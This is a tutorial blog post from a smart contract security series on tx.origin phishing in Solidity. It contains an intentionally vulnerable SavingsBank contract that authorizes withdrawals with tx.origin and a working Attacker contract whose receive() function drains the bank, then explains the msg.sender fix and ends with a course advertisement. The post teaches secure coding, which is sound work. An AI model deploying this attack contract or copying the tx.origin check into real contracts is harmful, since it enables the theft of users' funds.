tx.origin Phishing Attack — Smart Contract Security

This post is part 4 of our Smart Contract Security Series:

  1. Ownership Exploit
  2. Private Variable Exploit
  3. Reentrancy Attack
  4. tx.origin Phishing Attack
  5. Denial of Service Attack
  6. Storage Collision Attack
  7. Randomness Attack
  8. Replay Attack

In this post, we discuss phishing attacks due to tx.origin.

In the regular phishing of a website, phishing begins with a phony email or another kind of communication intended to entice a victim.

In this case, the communication done appears as if it came from a reputable sender. Similarly, the case of smart contracts which use tx.origin for authorizing users is vulnerable to phishing attacks, where a malicious contract can trick the contract’s owner into executing a function that only the owner should be able to call.

Let us start with msg.sender vs tx.origin, followed by how the exploit works, the possible solution, and finally the conclusion.

Let’s get started!

msg.sender vs tx.origin

To explain the difference between msg.sender and tx.origin. Consider the scenario given below.

In this case, a user who has an externally owned address/account (EOA), which is nothing but the regular Ethereum wallet address deploys contract A.

Internally when the user calls function two(), it internally calls function three() of another contract B.

In such as scenario, for contract B the msg.sender will be contract A, however, the tx.origin will be the address that originally initiated the transaction, in this case, the transaction was initiated by EOA (user).

Thus, the msg.sender represents the caller of the function. It can be a contract or EOA.

In the above case, it was the contract that called function three() from function two(), and tx.origin always represents the EOA that initiated the actual transaction (tx.origin can never be a contract because contracts cannot send signed transactions).

Exploit

Now that we are clear with the difference between msg.sender and tx.origin.

To explain the exploit consider two Solidity contracts, one is the regular savings bank contract to deposit and withdraw and the other is the attack contract. In a phishing attack, the attacker will make use of the contract to attack the victim.

Create a file called savingsBank.sol

contract SavingsBank {
    address public owner;
    constructor(){
        owner = msg.sender;
    }

    function deposit() public payable {
       // to receive ether.
    }
   

    function withdrawAll(address _recipient) public {
      require(tx.origin == owner);
     (bool sent,) = _recipient.call{value:address(this).balance}("");
      require(sent, "Failed to send Ether");
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

Create another file called attack.sol

import "./savingsBank.sol";

contract Attacker {
    SavingsBank public savingsbank;
    address attacker;

    constructor(address _savingsBankAddress, address _attackerAddress) {
    savingsbank = SavingsBank(_savingsBankAddress);
    attacker = _attackerAddress;
    }

 receive() external payable{
     savingsbank.withdrawAll(attacker);
}
 // Helper function to check the balance of this contract
 function getBalance() public view returns (uint) {
        return address(this).balance;
    } }

The two contracts are briefly described below

Contract SavingsBank:

  1. A constructor that initializes the owner to the msg.sender. In this case, the msg.sender will be the deployer of this contract. Let’s name him β€˜Krish’.
  2. A simple deposit() payable function is added that can receive Ether. You can as well implement a more complex deposit function.
  3. The withdrawAll() uses the tx.origin to authorize users. If the address of the owner (in this case, the deployer β€˜Krish’) is the same as tx.origin, it will transfer all the funds to the recipient.
  4. getBalance() to get the balance of the contract.

Contract Attacker:

  1.  A constructor that will create an instance of SavingsBank contract as we know the deployed address of SavingsBank and initialize the attacker address.
  2. Implement a function to receive some Ether and unknown to the user β€˜Krish’ makes a call to withdrawAll() function of the SavingsBank.
  3. getBalance() to get the balance of the attacker contract.

For the compilation and deployment of contracts refer to the Truffle post here.

How does the exploit occur? Let us see this in steps.

Similar to the other phishing attacks on the internet, the attacker can trick the users into performing trustworthy actions on the vulnerable contracts.

The attacker can disguise his contract as an Ethereum private address or as a multi-signature wallet and can socially engineer the users to perform some kind of a transaction (in the above ask him/her to send some amount of Ether).

If the victim is not very careful, may not realize that there is some code in the receive() function of the attacker.

As soon as the victim sends some amount of Ether from his wallet (tx.origin of the SavingsBank contract), the withdrawAll() function of SavingsBank gets executed successfully because (tx.origin will be equal to owner), transferring all the Ether to the attacker’s address.

Solution

To avoid such a problem, the solution would be to use β€˜msg.sender’ instead of β€˜tx.origin’ for authorizations in the contracts.

In this case, when receive() calls withdrawAll(), the msg.sender will be the address of the attacker and thus preventing it from executing successfully.

Conclusion

This post discussed the phishing vulnerability of contracts using tx.origin for authorizing actions.

This is not to say that the Solidity variable tx.origin should never be used as there can be legitimate use cases when tx.origin may be required.

One such case can be if you don’t want your contract to be called from an external contract. In such a case you can use require(tx.origin == msg.sender), because we know that tx.origin always represents an EOA.

I wish you all the best and, hopefully, this article helped you to prevent this hack! If you want to learn more about Solidity, check out my course:

Learn Solidity Course

Solidity is the programming language of the future.

It gives you the rare and sought-after superpower to program against the “Internet Computer”, i.e., against decentralized Blockchains such as Ethereum, Binance Smart Chain, Ethereum Classic, Tron, and Avalanche – to mention just a few Blockchain infrastructures that support Solidity.

In particular, Solidity allows you to create smart contracts, i.e., pieces of code that automatically execute on specific conditions in a completely decentralized environment. For example, smart contracts empower you to create your own decentralized autonomous organizations (DAOs) that run on Blockchains without being subject to centralized control.

NFTs, DeFi, DAOs, and Blockchain-based games are all based on smart contracts.

This course is a simple, low-friction introduction to creating your first smart contract using the Remix IDE on the Ethereum testnet – without fluff, significant upfront costs to purchase ETH, or unnecessary complexity.